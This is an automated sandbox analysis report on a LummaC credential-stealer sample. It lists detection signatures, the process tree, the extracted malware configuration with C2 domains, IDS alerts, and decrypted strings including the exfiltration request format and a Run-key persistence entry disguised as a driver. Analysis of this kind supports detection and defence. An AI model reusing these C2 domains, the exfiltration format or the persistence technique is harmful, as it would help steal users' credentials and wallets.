Edit tour

Windows Analysis Report
T4qO1i2Jav.exe

Overview

General Information

Sample name:	T4qO1i2Jav.exe renamed because original name is a hash value
Original sample name:	2d883950e8e1886bb567d041d17f22db.exe
Analysis ID:	1581379
MD5:	2d883950e8e1886bb567d041d17f22db
SHA1:	e216b58e8df9af53b3dd8650b281c15d14786ce7
SHA256:	4d03f680f20bb38f0ec7db840f1c783389e13e8488545a6c9d8aab30cbfd93dd
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found API chain indicative of debugger detection

Machine Learning detection for sample

Maps a DLL or memory area into another process

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

Potential browser exploit detected (process start blacklist hit)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Use Short Name Path in Command Line

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

T4qO1i2Jav.exe (PID: 5260 cmdline: "C:\Users\user\Desktop\T4qO1i2Jav.exe" MD5: 2D883950E8E1886BB567D041D17F22DB)

conhost.exe (PID: 4312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

U08CYPEDK3U9ZW3NZ4R.exe (PID: 1228 cmdline: "C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe" MD5: E7768D0721ABC2F32508BFDF8E93EAFF)

hYDFhjqVouJ7cB7Z.exe (PID: 3320 cmdline: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe 1228 MD5: E7768D0721ABC2F32508BFDF8E93EAFF)

conhost.exe (PID: 3652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Q13Hi3dPshjDHTjm.exe (PID: 3796 cmdline: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe 0 MD5: E10B81593D71C9C094F3D9D97C65F237)

iexplore.exe (PID: 7880 cmdline: "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY MD5: CFE2E6942AC1B72981B3105E22D3224E)

iexplore.exe (PID: 8140 cmdline: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:7880 CREDAT:17410 /prefetch:2 MD5: 6F0F06D6AB125A99E43335427066A4A1)

ie_to_edge_stub.exe (PID: 932 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc MD5: 89CF8972D683795DAB6901BC9456675D)

msedge.exe (PID: 5548 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 11180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2020,i,14565097193169155363,15533658218866554394,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

89TY9V9WIQJRU6EB7DK4LP.exe (PID: 5428 cmdline: "C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe" MD5: E10B81593D71C9C094F3D9D97C65F237)

iexplore.exe (PID: 792 cmdline: "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY MD5: CFE2E6942AC1B72981B3105E22D3224E)

iexplore.exe (PID: 2172 cmdline: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:792 CREDAT:17410 /prefetch:2 MD5: 6F0F06D6AB125A99E43335427066A4A1)

ie_to_edge_stub.exe (PID: 6360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460 MD5: 89CF8972D683795DAB6901BC9456675D)

msedge.exe (PID: 6020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3704 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2160,i,12527746652570324992,7600821867154545045,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

ssvagent.exe (PID: 6480 cmdline: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new MD5: F9A898A606E7F5A1CD7CFFA8079253A0)

msedge.exe (PID: 1892 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460 --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7216 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5776 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 6652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 6740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

hYDFhjqVouJ7cB7Z.exe (PID: 7936 cmdline: "C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe" MD5: E7768D0721ABC2F32508BFDF8E93EAFF)

conhost.exe (PID: 7944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

VBJU2N3euXB4jMxu.exe (PID: 2000 cmdline: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe 7936 MD5: E7768D0721ABC2F32508BFDF8E93EAFF)

conhost.exe (PID: 3408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 3244 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 660 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 8808 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 644 MD5: C31336C1EFC2CCB44B4326EA793040F2)

89TY9V9WIQJRU6EB7DK4LP.exe (PID: 6976 cmdline: "C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe" MD5: E10B81593D71C9C094F3D9D97C65F237)

iexplore.exe (PID: 3548 cmdline: "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY MD5: CFE2E6942AC1B72981B3105E22D3224E)

iexplore.exe (PID: 6096 cmdline: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3548 CREDAT:9474 /prefetch:2 MD5: 6F0F06D6AB125A99E43335427066A4A1)

ie_to_edge_stub.exe (PID: 8220 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6 MD5: 89CF8972D683795DAB6901BC9456675D)

ie_to_edge_stub.exe (PID: 8224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6 MD5: 89CF8972D683795DAB6901BC9456675D)

msedge.exe (PID: 8264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1016 --field-trial-handle=2076,i,3765983385279909395,18258713166015416735,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8672 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8892 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2036,i,8421648618134585066,14207088546948016644,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

hYDFhjqVouJ7cB7Z.exe (PID: 9316 cmdline: "C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe" MD5: E7768D0721ABC2F32508BFDF8E93EAFF)

conhost.exe (PID: 9320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

YOB9kZKIRUqnzMwq.exe (PID: 9372 cmdline: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe 9316 MD5: E7768D0721ABC2F32508BFDF8E93EAFF)

conhost.exe (PID: 9384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["formy-spill.biz", "dwell-exclaim.biz", "zinc-sneark.biz", "dare-curbys.biz", "impend-differ.biz", "print-vexer.biz", "covery-mover.biz", "se-blurry.biz"], "Build id": "H8NgCl--voideed"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1900549907.00000000009E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: T4qO1i2Jav.exe PID: 5260	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: T4qO1i2Jav.exe PID: 5260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: T4qO1i2Jav.exe PID: 5260	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe, ProcessId: 5428, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriver

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe, ProcessId: 5428, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriver

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe, ProcessId: 5428, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NvidiaDriver.lnk

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new, CommandLine: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new, CommandLine|base64offset|contains: w, Image: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, NewProcessName: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, OriginalFileName: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, ParentCommandLine: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:792 CREDAT:17410 /prefetch:2, ParentImage: C:\Program Files (x86)\Internet Explorer\iexplore.exe, ParentProcessId: 2172, ParentProcessName: iexplore.exe, ProcessCommandLine: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new, ProcessId: 6480, ProcessName: ssvagent.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Program Files\Internet Explorer\iexplore.exe, ProcessId: 792, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SecuritySafe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:11.921542+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	23.55.153.106	443	TCP
2024-12-27T14:42:14.330863+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.157.254	443	TCP
2024-12-27T14:42:16.389119+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.157.254	443	TCP
2024-12-27T14:42:18.761336+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.157.254	443	TCP
2024-12-27T14:42:21.245333+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.157.254	443	TCP
2024-12-27T14:42:23.878487+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.157.254	443	TCP
2024-12-27T14:42:27.144538+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.157.254	443	TCP
2024-12-27T14:42:30.436585+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.157.254	443	TCP
2024-12-27T14:42:35.064340+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	172.67.157.254	443	TCP
2024-12-27T14:42:37.451791+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	172.67.182.218	443	TCP
2024-12-27T14:42:43.026607+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.182.218	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:15.095213+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.157.254	443	TCP
2024-12-27T14:42:17.160764+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	172.67.157.254	443	TCP
2024-12-27T14:42:35.804266+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:15.095213+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:17.160764+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:09.122907+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.4	61200	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:09.877345+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.4	54389	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:09.578842+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.4	53193	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:09.733567+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.4	62926	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:10.162558+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.4	52216	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:10.018486+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.4	58534	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:09.265303+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.4	53382	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:09.437617+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.4	54475	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:27.842002+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49736	172.67.157.254	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:45.999563+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49747	172.67.161.29	80	TCP
2024-12-27T14:42:48.583999+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49750	172.67.182.218	443	TCP
2024-12-27T14:42:52.337631+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49751	172.67.161.29	80	TCP
2024-12-27T14:43:14.211341+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49839	172.67.161.29	80	TCP
2024-12-27T14:43:44.727669+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50070	172.67.161.29	80	TCP
2024-12-27T14:44:19.061984+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50201	172.67.161.29	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:42:12.730937+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/api(	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apider	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["formy-spill.biz", "dwell-exclaim.biz", "zinc-sneark.biz", "dare-curbys.biz", "impend-differ.biz", "print-vexer.biz", "covery-mover.biz", "se-blurry.biz"], "Build id": "H8NgCl--voideed"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\Yau7CFuJ3hfnsdmh.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\Zo4ZOmQUK81m492h.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\mt5b5cRJXAGEr0y6.exe	ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: T4qO1i2Jav.exe	Virustotal: Detection: 69%			Perma Link
Source: T4qO1i2Jav.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Machine Learning detection for sample

Source: T4qO1i2Jav.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: impend-differ.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: print-vexer.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: dare-curbys.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: covery-mover.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: formy-spill.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: dwell-exclaim.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: zinc-sneark.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: se-blurry.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: covery-mover.biz
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: - Screen Resoluton:
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: Workgroup: -
Source: 0.2.T4qO1i2Jav.exe.880000.1.raw.unpack	String decryptor: H8NgCl--voideed

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_00896B7E CryptUnprotectData,

0_2_00896B7E

Source: T4qO1i2Jav.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.182.218:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.182.218:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.182.218:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:50207 version: TLS 1.2

Source: T4qO1i2Jav.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

